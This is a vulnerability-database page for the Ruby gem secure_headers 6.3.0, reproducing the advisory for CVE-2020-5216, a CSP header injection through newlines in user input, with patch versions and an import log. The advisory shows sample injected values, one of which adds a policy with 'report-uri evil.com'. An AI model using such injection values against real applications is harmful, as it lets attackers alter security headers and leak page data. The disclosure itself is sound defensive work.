Staging Environment: Content and features may be unstable or change without notice.
Search for packages
Package details: pkg:gem/secure_headers@6.3.0
purl pkg:gem/secure_headers@6.3.0
Vulnerabilities affecting this package (0)
Vulnerability Summary Fixed by
This package is not known to be affected by vulnerabilities.
Vulnerabilities fixed by this package (1)
Vulnerability Summary Aliases
VCID-1hff-pbpa-p3e5 Limited header injection when using dynamic overrides with user input in RubyGems secure_headers ### Impact If user-supplied input was passed into append/override_content_security_policy_directives, a newline could be injected leading to limited header injection. Upon seeing a newline in the header, rails will silently create a new `Content-Security-Policy` header with the remaining value of the original string. It will continue to create new headers for each newline. e.g. ```ruby override_content_security_directives(script_src: ['mycdn.com', "\ninjected\n"])` ``` would result in ``` Content-Security-Policy: ... script-src: mycdn.com Content-Security-Policy: injected Content-Security-Policy: rest-of-the-header ``` CSP supports multiple headers and all policies must be satisfied for execution to occur, but a malicious value that reports the current page is fairly trivial: ```ruby override_content_security_directives(script_src: ["mycdn.com", "\ndefault-src 'none'; report-uri evil.com"]) ``` ``` Content-Security-Policy: ... script-src: mycdn.com Content-Security-Policy: default-src 'none'; report-uri evil.com Content-Security-Policy: rest-of-the-header ``` ### Patches This has been fixed in 6.3.0, 5.2.0, and 3.9.0 ### Workarounds ```ruby override_content_security_policy_directives(:frame_src, [user_input.gsub("\n", " ")]) ``` ### References https://github.com/twitter/secure_headers/security/advisories/GHSA-xq52-rv6w-397c [The effect of multiple policies](https://www.w3.org/TR/CSP3/#multiple-policies) ### For more information If you have any questions or comments about this advisory: * Open an issue in [this repo](https://github.com/twitter/secure_headers/security/advisories/new) * DM us at @ndm on twitter CVE-2020-5216
GHSA-w978-rmpf-qmwg

Date Actor Action Vulnerability Source VulnerableCode Version
2026-04-11T22:11:16.592250+00:00 GitLab Importer Fixing VCID-1hff-pbpa-p3e5 https://gitlab.com/gitlab-org/advisories-community/-/blob/main/gem/secure_headers/CVE-2020-5216.yml 38.3.0
2026-04-02T22:23:47.612443+00:00 GitLab Importer Fixing VCID-1hff-pbpa-p3e5 https://gitlab.com/gitlab-org/advisories-community/-/blob/main/gem/secure_headers/CVE-2020-5216.yml 38.1.0
2026-04-01T16:41:36.186327+00:00 GitLab Importer Fixing VCID-1hff-pbpa-p3e5 https://gitlab.com/gitlab-org/advisories-community/-/blob/main/gem/secure_headers/CVE-2020-5216.yml 38.0.0
2026-04-01T15:57:52.536325+00:00 GHSA Importer Fixing VCID-1hff-pbpa-p3e5 https://github.com/advisories/GHSA-w978-rmpf-qmwg 38.0.0
2026-04-01T12:59:58.401490+00:00 GithubOSV Importer Fixing VCID-1hff-pbpa-p3e5 https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/01/GHSA-w978-rmpf-qmwg/GHSA-w978-rmpf-qmwg.json 38.0.0